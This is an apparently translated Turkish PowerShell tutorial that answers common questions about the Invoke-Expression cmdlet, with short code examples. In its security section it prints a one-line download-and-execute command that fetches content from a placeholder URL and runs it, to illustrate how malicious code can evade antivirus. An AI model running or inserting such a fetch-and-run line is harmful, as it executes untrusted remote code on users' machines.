Invoke-Expression: Evrensel PowerShell Yürütücü Cmdlet'i
Invoke-Expression PowerShell cmdlet'inin ne zaman ve ne zaman kullanılmaması gerektiğini yanlış anlamak kolay olabilir. Bu makalede, en önemli SSS'lerden bazılarını bir araya getirdim. Bunları parçalara ayıracağım ve ihtiyaç duyduğunuzda başvurmanız için tonlarca yararlı örnek ekleyeceğim. Bu, bu sayfayı hemen yer imlerinize eklemeniz gerektiği anlamına gelir!
Bunun gibi daha fazla ipucu ister misiniz? Kişisel PowerShell bloguma göz atın: https://www.nkasco.com/
Invoke-Expression nedir?
Microsoft'a göre resmi açıklama şu şekildedir: "Invoke-Expression cmdlet'i, belirtilen bir dizeyi komut olarak değerlendirir veya çalıştırır ve ifadenin veya komutun sonuçlarını döndürür. Invoke-Expression olmadan, komut satırına gönderilen bir dize değişmeden döndürülür (yankılanır).
Başka bir deyişle, bir komut dosyasındaki kodu çağırmak veya daha sonra yürütülecek komutları oluşturmak için yararlı olabilir. Ayrıca kullanıcı tarafından sağlanan girdilerle birlikte dikkatli bir şekilde kullanılabilir.
Invoke-Expression kullanmanın en temel örneği, bir komut dosyası tanımlamak ve bu dizeyi Command parametresine iletmektir. Invoke-Expression daha sonra bu dizeyi çalıştırır.
#Run a PowerShell command via Invoke-Expression
$Command = 'Get-Process'
Invoke-Expression -Command $Command
#Execute a script via Invoke-Expression
$MyScript = '.\MyScript.ps1'
Invoke-Expression -Command $MyScriptKomut dosyası yolumda boşluklar varsa ne olur?
Dizeleri tek veya çift tırnak içine aldığınızdan emin olun.
Örneğin, yolunda boşluk bulunan bir dizeyi yürütmek isterseniz şu seçenekler çalışmaz:
# These don't work
$MyScript = "C:\Folder Path\MyScript.ps1"
#or
$MyScript = "'C:\Folder Path\MyScript.ps1'"
Invoke-Expression $MyScriptNeden? Çünkü bu, bunu doğrudan PowerShell konsoluna yazmakla tamamen aynı şeydir:
PS51> C:\Folder Path\MyScript.ps1Ancak, yol öğesini tek veya çift tırnak içine alırsanız ve dizenin tamamı tırnak içine alınırsa, Invoke-Expression betiği beklendiği gibi yürütür.
$MyScript = "C:\'Folder Path'\MyScript.ps1"
Invoke-Expression $MyScriptS. Invoke-Expression ile çağrılan komut dosyalarına parametreleri nasıl aktarırsınız?
Invoke-Expression'ın sahip olduğu tek parametre Komut'tur. Invoke-Expression ile parametreleri aktarmanın yerel bir yolu yoktur. Ancak bunun yerine bunları Command parametresine ilettiğiniz dizeye dahil edebilirsiniz.
Belki de Path ve Force adında iki parametreli bir betiğim var. Invoke-Expression aracılığıyla belirli bir parametre kullanmak yerine, normalde konsolda yaptığınız gibi parametreleri bu betiğe iletebilirsiniz.
Bu betiği genellikle konsol aracılığıyla şu şekilde çağırırsanız:
PS51> & 'C:\Scripts\MyScript.ps1' -Path 'C:\file.txt' -ForceBu satırın tamamını bir dizeye dahil etmeniz ve ardından bu dizeyi Command parametresine aktarmanız gerekir.
$scriptPath = 'C:\Scripts\MyScript.ps1'
$params = '-Path "C:\file.txt" -Force'
Invoke-Expression "$scriptPath $params"
# or
$string = 'C:\Scripts\MyScript.ps1 -Path "C:\file.txt" -Force'
Invoke-Expression $stringInvoke-Expression ile deneme/yakalama mantıklı mı?
Tam olarak değil. Bu, Command parametreniz içinde hata işlemeyi kullanmanız gerektiği anlamına gelir.
Örnek:
# Doesn't work - Invoke-Expression doesn't act as a global error handler!
try{
$Command = 'Get-Process powerhell'
Invoke-Expression $Command -ErrorAction Stop
} catch {
Write-Host "Oops, something went wrong!"
}Invoke-Expression ile çağrı operatörü (&) arasındaki fark nedir?
Çağrı operatörü (&), bir komutu, komut dosyasını veya komut dosyası bloğunu hızlı bir şekilde çalıştırmak için mükemmeldir. Ancak çağrı operatörü komutu ayrıştırmaz. Komut parametrelerini Invoke-Expression'ın yapabildiği gibi yorumlayamaz.
Örneğin, belki PowerShell Core işlemini Get-Process -ProcessName pwsh kodundaki Get-Process cmdlet'ini kullanarak almak isterim. Get-Process ile parametrenin birleştirilmesi, çağrı operatörü kullanıldığında beklendiği gibi çalışmayacaktır.
$a = "Get-Process"
## Doesn't work
& "$a pwsh"Ancak bu dizeyi Invoke-Expression ile çalıştırırsanız beklendiği gibi çalışacaktır.
Invoke-Expression "$a pwsh"Invoke-Expression ile Start-Process arasındaki fark nedir?
İşlemi Başlat cmdlet'i, döndürülen nesnede bir dönüş veya çıkış kodu sağlar. Çağrılan işlemin tamamlanmasını beklemenize olanak tanır ve farklı bir Windows kimlik bilgisi altında bir işlemi başlatmanıza olanak tanır. Invoke-Expression hızlı ve kirliyken Start-Process yürütülen işlemin sonuçlarını yorumlamak için daha yararlı olabilir.
Invoke-Expression ile Invoke-Command arasındaki fark nedir?
Invoke-Expression yalnızca bir dizeyi yürütülebilir koda "dönüştürür". Öte yandan Invoke-Command, PowerShell Remoting'den yararlanarak size bilgisayarlarda yerel olarak veya uzaktan kod çağırma olanağı sağlar.
IDE'nizde Intellisense'i koruduğunuz için yürütülen komutları şimdi yazıyorsanız Invoke-Command tercih edilirken, başka bir komut dosyasını çağırmak istiyorsanız Invoke-Expression tercih edilir. şu anki durumunuzun içinde.
Örnek:
#These both work the same way, but we lost our intellisense with the Invoke-Expression example.
Invoke-Command -ScriptBlock {
Get-Process Chrome
Get-Process Powershell
}
Invoke-Expression -Command "
Get-Process Chrome
Get-Process Powershell
"Invoke-Expression ile Invoke-Item arasındaki fark nedir?
Invoke-Item cmdlet'i, kimlik bilgilerinin dahil edilmesi, hariç tutulması, eklenmesi ve hatta ek güvenlik için onaya ilişkin parametrelerle, belgeleri varsayılan eylemleriyle açmak için birden fazla yol için satır içi destek sağlar.
Invoke-Expression güvenli midir?
C. Birisi kötü niyetliyse, çalışma zamanı sırasında kendi kendine oluşan kötü amaçlı kodu maskeleyerek bazı virüs programlarını kandırabilir. Invoke-Expression, Command parametresine aktarılan metni memnuniyetle yürütür.
Örnek:
$Command = "(Invoke-Webrequest -Uri `"http://website.com/CompletelySafeCode`").Content"
Invoke-Expression $CommandBirden çok komutu/ifadeyi yürütmek için en iyi uygulamalardan bazıları nelerdir?
Yürütülecek birden fazla komutunuz varsa, Invoke-Expression bir dizi yerine yalnızca bir dize kabul etse de, nesneleri ardışık düzene birer birer göndermek için PowerShell ardışık düzenini kullanabiliriz.
Örnek:
# Doesn't work
$MyCollection = @(
'Get-Process Chrome',
'Get-Service bits'
)
Invoke-Expression $MyCollection
# Works
'Get-Process Chrome', 'Get-Service bits' | Invoke-ExpressionInvoke-Expression'ı kullanıcı girişiyle nasıl kullanırım?
Kullanıcı girişi ile Invoke-Expression'ı kullanırken çok dikkatli olmalısınız. Bir kullanıcıya, yürütmeyi planladığınız komutun dışına erişim sağlayacak şekilde bir istemde bulunulmasına izin verirseniz, bu, istenmeyen bir güvenlik açığı oluşturabilir. Invoke-Expression ile kullanıcı girişini güvenli bir şekilde uygulamanın bir yolu burada verilmiştir.
do{
$Response = Read-Host "Please enter a process name"
$RunningProcesses = Get-Process
#Validate the user input here before proceeding
if($Response -notin $RunningProcesses.Name){
Write-Host "That process wasn't found, please try again.`n" #Avoid using $Response here
}
} until ($Response -in $RunningProcesses.Name)
$Command = "Get-Process $Response"
Invoke-Expression $CommandÇözüm
Her cmdlet'in kendine ait bir yeri vardır ve Invoke-Expression, hemen hemen herkesin bir noktada karşılaşacağı bir cmdlet'tir. Sık kullanılan cmdlet'lerin artılarını ve eksilerini anlamak önemlidir, böylece bunları kendinizi başarıya hazırlayacak şekilde uygulayabilirsiniz. Karşılaştığınız zorluklardan bazılarını çözmek için Invoke-Expression'ı nasıl kullandığınızı merak ediyorum, aşağıya bir yorum bırakın ve hikayenizi paylaşın!
Bunun gibi daha fazla ipucu ister misiniz? Kişisel PowerShell bloguma göz atın: https://www.nkasco.com/
Daha fazla okuma
- Daha İyi Bir PowerShell Başlangıç Süreci
- Invoke-Command: Uzaktan Kod Çalıştırmanın En İyi Yolu
- Dizelerdeki PowerShell Değişkenleri
- Çift tırnaklardan ve dizelerden kurtulmak için PowerShell'i kullanma